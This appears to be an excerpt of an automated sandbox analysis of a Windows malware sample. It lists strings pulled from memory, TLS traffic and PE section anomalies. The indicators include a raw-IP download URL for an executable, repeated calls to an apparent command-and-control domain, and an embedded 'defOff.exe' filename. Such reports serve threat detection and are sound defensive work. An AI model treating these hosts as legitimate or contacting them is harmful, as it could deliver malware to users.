Source: file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1752097745.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1775736342.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe2l
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_172.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_172.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_172.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_172.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_172.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000003.1535358455.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551350397.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679854027.00000000017F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505343070.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1506142192.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519973761.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1506112755.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534999983.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1563546362.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519716242.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537455321.00000000017E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1563525062.00000000017E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679903557.00000000017FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1563525062.00000000017E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/8
Source: file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/_
Source: file.exe, 00000000.00000003.1679926131.0000000001773000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/_OF
Source: file.exe, file.exe, 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537880800.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1775436320.0000000001773000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679926131.0000000001773000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679926131.0000000001768000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537825038.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537455321.00000000017E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apibn
Source: file.exe, 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537880800.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537825038.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537455321.00000000017E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiecked
Source: file.exe, 00000000.00000003.1679854027.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1563525062.00000000017E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/k_
Source: file.exe, 00000000.00000003.1679854027.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/z
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_172.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_172.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_152.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_152.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_163.6.dr, chromecache_152.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.7:49812 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C67FE	0_2_069C67FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069CA2B7	0_2_069CA2B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069CA2C5	0_2_069CA2C5

Source: file.exe, 00000000.00000003.1650964500.0000000006465000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648268563.0000000006578000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650194705.000000000658B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644447083.0000000006534000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647058127.0000000006560000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651678241.00000000065A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646475070.0000000006555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649593258.0000000006588000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653673158.00000000065B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641626809.0000000006465000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646238847.0000000006556000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640682706.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642990694.000000000651F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1775813224.00000000017F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000002.1779128467.0000000006469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643291464.00000000065D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679719370.0000000006072000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1652030257.0000000006464000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649720521.0000000006463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650832480.0000000006599000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647988029.000000000657A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642065369.0000000006467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680060893.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOc, vs file.exe
Source: file.exe, 00000000.00000003.1649942995.0000000006692000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642574138.00000000065BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650569698.00000000066BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644946552.0000000006540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646740673.0000000006555000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645188195.0000000006469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648119489.000000000646B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642779066.0000000006514000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679854027.00000000017F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1651400149.0000000006595000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647214752.000000000665B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657270767.00000000066FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643380189.000000000646A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642247491.0000000006462000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638643660.00000000060C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643106823.0000000006463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645506041.0000000006544000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645298681.0000000006549000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654489361.00000000065A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645396445.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649241121.000000000669D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
